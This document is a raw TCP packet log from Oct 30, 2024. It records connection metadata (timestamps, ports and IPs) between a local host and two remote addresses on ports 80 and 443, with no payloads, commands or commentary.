Oct 30, 2024 06:16:11.270998955 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.271011114 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.271023989 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.271047115 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.271078110 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.308917999 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.308934927 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.308947086 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.308990955 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.309005022 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.309035063 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.309046984 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.309053898 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.309087038 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.309096098 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.309098959 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.309118032 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.309151888 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.309326887 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.309339046 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.309349060 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.309390068 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.309458971 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.347809076 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.347837925 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.347850084 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.347866058 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.347876072 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.347887039 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.347898006 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.347908974 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.347915888 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.347965956 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.347979069 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.348026037 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.348042011 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.348053932 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.348062992 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.348093987 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.348117113 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.348261118 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.348272085 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.348283052 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.348304033 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.348332882 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.348342896 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.348361015 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.348371029 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.348381996 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.348382950 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.348395109 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.348398924 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.348404884 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.348418951 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.348449945 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.348860025 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.348870993 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.348881960 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.348891973 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.348905087 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.348931074 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.349087000 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.349098921 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.349109888 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.349134922 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.349147081 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.349159956 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.349167109 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.349172115 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.349188089 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.349215984 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.349581957 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.349598885 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.349610090 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.349621058 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.349627018 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.349632025 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.349632978 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.349637985 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.349643946 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.349656105 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.349663973 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.349675894 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.349709034 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.388407946 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.388469934 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.388480902 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.388492107 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.388505936 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.388573885 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.426295042 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.426383018 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.426393032 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.426399946 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.426404953 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.426418066 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.426445007 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.426553011 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.426563978 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.426579952 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.426590919 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.426601887 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.426604986 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.426618099 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.426652908 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.426693916 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.426711082 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.426740885 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.426748991 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.426752090 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.426763058 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.426798105 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.465385914 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.465405941 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.465418100 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.465430021 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.465440989 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.465462923 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.465501070 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.465507030 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.465517998 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.465528011 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.465549946 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.465563059 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.465629101 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.465648890 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.465665102 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.465671062 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.465676069 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.465682983 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.465688944 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.465707064 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.465719938 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.465877056 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.465924025 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.465926886 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.465961933 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.465962887 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.466008902 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.466032982 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.466043949 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.466053009 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.466078997 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.466109037 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.466152906 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.466202974 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.466216087 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.466227055 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.466306925 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.466321945 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.466332912 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.466372013 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.466522932 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.466535091 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.466552019 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.466561079 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.466573000 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.466573954 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.466603994 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.466626883 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.466782093 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.466833115 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.466855049 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.466867924 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.466902971 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.466917038 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.466985941 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.466998100 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.467008114 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.467020988 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.467030048 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.467053890 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.467077017 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.467111111 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.467120886 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.467163086 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.467571974 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.467583895 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.467595100 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.467606068 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.467619896 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.467658997 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.506002903 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.506025076 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.506038904 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.506050110 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.506061077 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.506113052 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.506236076 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.543911934 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.543926954 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.543939114 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.543983936 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.544018030 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.544028997 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.544059038 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.544116974 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.544116974 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.544130087 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.544140100 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.544154882 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.544166088 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.544172049 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.544215918 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.582823992 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.582844019 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.582905054 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.582954884 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.582966089 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.582976103 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.582982063 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.582992077 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.583008051 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.583029032 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.583040953 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.583051920 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.583061934 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.583065987 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.583072901 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.583086014 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.583090067 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.583111048 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.583134890 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.583354950 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.583403111 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.583424091 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.583442926 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.583452940 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.583470106 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.583487988 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.583498955 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.583504915 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.583515882 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.583525896 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.583535910 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.583549976 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.583574057 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.583786011 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.583815098 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.583836079 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.583869934 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.583880901 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.583895922 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.583910942 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.583921909 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.583956003 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.584142923 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.584158897 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.584168911 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.584180117 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.584188938 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.584194899 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.584203005 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.584207058 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.584234953 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.584249020 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.584496975 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.584508896 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.584518909 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.584539890 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.584566116 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.584572077 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.584578037 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.584589005 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.584600925 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.584619045 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.584626913 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.584630966 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.584642887 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.584654093 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.584656000 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.584665060 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.584681034 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.584709883 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.585135937 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.585180998 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.585182905 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.585191965 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.585225105 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.585241079 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.623478889 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.623488903 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.623498917 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.623512030 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.623565912 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.623615980 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.661386967 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.661401987 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.661413908 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.661447048 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.661501884 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.661535978 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.661546946 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.661556959 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.661571980 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.661581039 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.661582947 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.661596060 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:11.661597013 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.661628962 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:11.661658049 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:13.412399054 CET	49736	443	192.168.2.4	142.250.185.100
Oct 30, 2024 06:16:13.412435055 CET	443	49736	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:13.412492990 CET	49736	443	192.168.2.4	142.250.185.100
Oct 30, 2024 06:16:13.412703991 CET	49736	443	192.168.2.4	142.250.185.100
Oct 30, 2024 06:16:13.412714958 CET	443	49736	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:13.688910007 CET	49737	443	192.168.2.4	142.250.185.100
Oct 30, 2024 06:16:13.688954115 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:13.689048052 CET	49737	443	192.168.2.4	142.250.185.100
Oct 30, 2024 06:16:13.689337969 CET	49737	443	192.168.2.4	142.250.185.100
Oct 30, 2024 06:16:13.689353943 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:13.726805925 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:13.727164984 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:13.747770071 CET	49738	443	192.168.2.4	142.250.185.100
Oct 30, 2024 06:16:13.747795105 CET	443	49738	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:13.747870922 CET	49738	443	192.168.2.4	142.250.185.100
Oct 30, 2024 06:16:13.748095036 CET	49738	443	192.168.2.4	142.250.185.100
Oct 30, 2024 06:16:13.748107910 CET	443	49738	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:13.863707066 CET	49739	443	192.168.2.4	142.250.185.100
Oct 30, 2024 06:16:13.863750935 CET	443	49739	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:13.865189075 CET	49739	443	192.168.2.4	142.250.185.100
Oct 30, 2024 06:16:13.865410089 CET	49739	443	192.168.2.4	142.250.185.100
Oct 30, 2024 06:16:13.865430117 CET	443	49739	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:14.270041943 CET	443	49736	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:14.270411968 CET	49736	443	192.168.2.4	142.250.185.100
Oct 30, 2024 06:16:14.270427942 CET	443	49736	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:14.271888971 CET	443	49736	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:14.271951914 CET	49736	443	192.168.2.4	142.250.185.100
Oct 30, 2024 06:16:14.272983074 CET	49736	443	192.168.2.4	142.250.185.100
Oct 30, 2024 06:16:14.273052931 CET	443	49736	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:14.273153067 CET	49736	443	192.168.2.4	142.250.185.100
Oct 30, 2024 06:16:14.315371990 CET	443	49736	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:14.328406096 CET	49736	443	192.168.2.4	142.250.185.100
Oct 30, 2024 06:16:14.328416109 CET	443	49736	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:14.379307032 CET	49736	443	192.168.2.4	142.250.185.100
Oct 30, 2024 06:16:14.540826082 CET	443	49736	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:14.540888071 CET	443	49736	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:14.540944099 CET	443	49736	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:14.540957928 CET	49736	443	192.168.2.4	142.250.185.100
Oct 30, 2024 06:16:14.540975094 CET	443	49736	142.250.185.100	192.168.2.4
